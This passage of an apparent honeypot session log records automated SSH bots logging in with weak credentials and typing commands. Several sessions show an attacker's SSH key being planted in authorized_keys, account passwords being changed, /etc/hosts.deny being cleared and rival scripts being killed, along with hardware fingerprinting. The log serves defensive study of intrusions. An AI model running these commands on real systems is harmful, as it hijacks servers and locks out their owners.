-l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:03:50.843514+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:03:52.578714+00:00","kind":"output","latency_ms":null,"data":" 13:03:52 up 7 days, 9:53, 0 user, load average: 0.35, 0.34, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:03:52.908699+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:03:55.098175+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:03:55.425530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:03:56.239263+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:03:56.568009+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:03:58.258402+00:00","kind":"output","latency_ms":null,"data":"top - 13:03:58 up 7 days, 9:54, 0 user, load average: 0.35, 0.34, 0.4\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:03:58.590683+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:04:00.115747+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:04:00.446461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:04:01.605143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:04:01.935176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:04:03.481574+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T13:04:03.806955+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:04:05.091423+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:04:05.419849+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:04:06.501188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user123456","method":"password","accepted":true,"tier":"other"}]} {"id":"047a388a-5b15-466e-8856-1472d37c2eed","name":"ginger-fearless-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":60034,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":438,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:04:04.740416+00:00","ended_at":"2026-08-27T13:04:05.848593+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:03:44.394732+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:03:44.832639+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:03:49.044367+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:03:49.364425+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:03:49.803235+00:00","kind":"input","latency_ms":null,"data":"echo \"root:LtSiO0PSagun\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:03:50.241875+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:03:50.685680+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:03:50.967947+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:03:51.407218+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:03:52.688770+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:03:53.128040+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:03:54.345001+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:03:54.783813+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:03:55.591198+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:03:56.029800+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:03:56.713682+00:00","kind":"output","latency_ms":null,"data":" 13:03:56 up 7 days, 9:54, 0 user, load average: 0.13, 0.12, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:03:57.150508+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:03:58.024293+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:03:58.461591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:03:59.319272+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:03:59.755202+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:04:00.412134+00:00","kind":"output","latency_ms":null,"data":"top - 13:04:00 up 7 days, 9:54, 0 user, load average: 0.13, 0.12, 0.12\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:04:00.851599+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:04:01.116489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:04:01.554204+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:04:01.892806+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:04:02.331558+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:04:02.949228+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:04:03.394279+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:04:04.304705+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:04:04.741218+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:04:05.698953+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"racing","method":"password","accepted":true,"tier":"other"}]} {"id":"f928b2c1-6e1f-4378-8792-44b1efdedfc8","name":"fearless-buoyant-marten","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":60066,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:47.987496+00:00","ended_at":"2026-08-27T13:03:48.912921+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bf9f016f-d870-42cf-82a8-1f87917f7c69","name":"barren-humble-pika","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":60050,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:45.842089+00:00","ended_at":"2026-08-27T13:03:47.107465+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"faf1093c-fbe7-455c-ae5a-153e480dd1f5","name":"regal-tranquil-warbler","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47534,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:38.522792+00:00","ended_at":"2026-08-27T13:03:40.356568+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"75512b79-b954-4daf-8ed2-8f19930adb99","name":"muted-ivory-catbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47526,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:36.856359+00:00","ended_at":"2026-08-27T13:03:37.869941+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"730fe2f0-e7d1-4f70-bd7a-12f695faec20","name":"courtly-scarlet-tamarin","protocol":"http","channel_kind":"http","src_ip":"43.159.145.153","src_port":null,"username":null,"client_version":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1","auth_attempts":0,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:28.749399+00:00","ended_at":"2026-08-27T13:19:13.183026+00:00","ended_reason":"http session idle","commands":0,"transcript_bytes":0,"events":[],"credentials":[]} {"id":"a4dfc222-1443-414e-9e92-a91682268f15","name":"nimble-fabled-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":49050,"username":"harmony","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":204,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:02:30.607399+00:00","ended_at":"2026-08-27T13:02:30.712188+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":736,"events":[{"seq":1,"at":"2026-08-27T13:02:28.880607+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:02:29.377058+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:02:29.582170+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:02:29.582787+00:00","kind":"output","latency_ms":null,"data":" 13:02:29 up 7 days, 9:52, 0 user, load average: 0.34, 0.4, 0.2"},{"seq":5,"at":"2026-08-27T13:02:29.787572+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:02:29.789325+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:02:29.991800+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:02:29.992250+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:02:30.197879+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:02:30.198287+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:02:30.403798+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:02:30.404452+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:02:30.608252+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:02:30.608791+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"harmony","password":"harmony","method":"password","accepted":true,"tier":"other"}]} {"id":"0f682362-d5e7-4e59-b4bd-42fd12ad9a28","name":"orderly-mighty-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59570,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:26.363338+00:00","ended_at":"2026-08-27T13:02:28.596587+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T13:02:08.972891+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:02:09.270635+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:02:13.053046+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:02:13.437964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:02:13.737356+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kd@123\\n3z8xIYXZWdhU\\n3z8xIYXZWdhU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:02:14.036039+00:00","kind":"input","latency_ms":null,"data":"echo \"kd@123\\n3z8xIYXZWdhU\\n3z8xIYXZWdhU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:02:14.333554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:02:15.050745+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:02:15.349426+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:02:16.695693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:02:16.996093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:02:17.939569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:02:18.239270+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:02:18.602550+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:02:18.901654+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:02:19.329343+00:00","kind":"output","latency_ms":null,"data":" 13:02:19 up 7 days, 9:52, 0 user, load average: 0.16, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:02:19.627422+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:02:20.418452+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:02:20.716727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:02:21.040351+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:02:21.341035+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:02:22.166250+00:00","kind":"output","latency_ms":null,"data":"top - 13:02:22 up 7 days, 9:52, 0 user, load average: 0.16, 0.12, 0.14\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:02:22.466651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:02:23.296722+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:02:23.596393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:02:23.859405+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:02:24.158185+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:02:24.428492+00:00","kind":"output","latency_ms":null,"data":"kd"},{"seq":29,"at":"2026-08-27T13:02:24.726774+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:02:26.064360+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:02:26.364139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:02:28.508428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kd","password":"kd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1f66fbe8-6205-4ade-ad83-8d8bfbb20e70","name":"arctic-hollow-skua","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":37442,"username":"manish","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:02:21.958827+00:00","ended_at":"2026-08-27T13:02:23.873566+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"manish","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"39e77f3b-bb0b-4233-9aa1-ec492c261078","name":"painted-stoic-redstart","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":37430,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:02:18.479640+00:00","ended_at":"2026-08-27T13:02:20.353553+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f3379183-71c8-4aa5-80fc-22dc1ca5a40b","name":"crystal-marbled-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":36968,"username":"manish","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:15.401802+00:00","ended_at":"2026-08-27T13:02:16.524606+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T13:02:15.402644+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:02:15.969905+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"manish","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"ebcb1848-5249-4fdd-89c3-e9172f22b7e2","name":"feathered-cheerful-starling","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59600,"username":"kd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:02:11.508321+00:00","ended_at":"2026-08-27T13:02:12.966551+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kd","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b662831a-37d6-4aa2-9525-6f05f6e1384f","name":"steady-bashful-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59586,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:02:09.932134+00:00","ended_at":"2026-08-27T13:02:10.933943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b2ada6f7-2f54-4666-b63f-64729d310e48","name":"amber-seaward-civet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47530,"username":"suraj","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:03.274397+00:00","ended_at":"2026-08-27T13:02:04.383362+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T13:01:38.034695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:01:38.365718+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:01:42.126480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:01:43.742558+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:01:44.069726+00:00","kind":"input","latency_ms":null,"data":"echo -e \"suraj\\n3srByThT8ln1\\n3srByThT8ln1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:01:44.398890+00:00","kind":"input","latency_ms":null,"data":"echo \"suraj\\n3srByThT8ln1\\n3srByThT8ln1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:01:44.729226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:01:45.804839+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:01:46.006644+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:01:46.193316+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:01:46.521629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:01:48.421669+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:01:48.751629+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:01:50.378676+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:01:50.706962+00:00","kind":"input","latency_ms":null,"data":"crontab 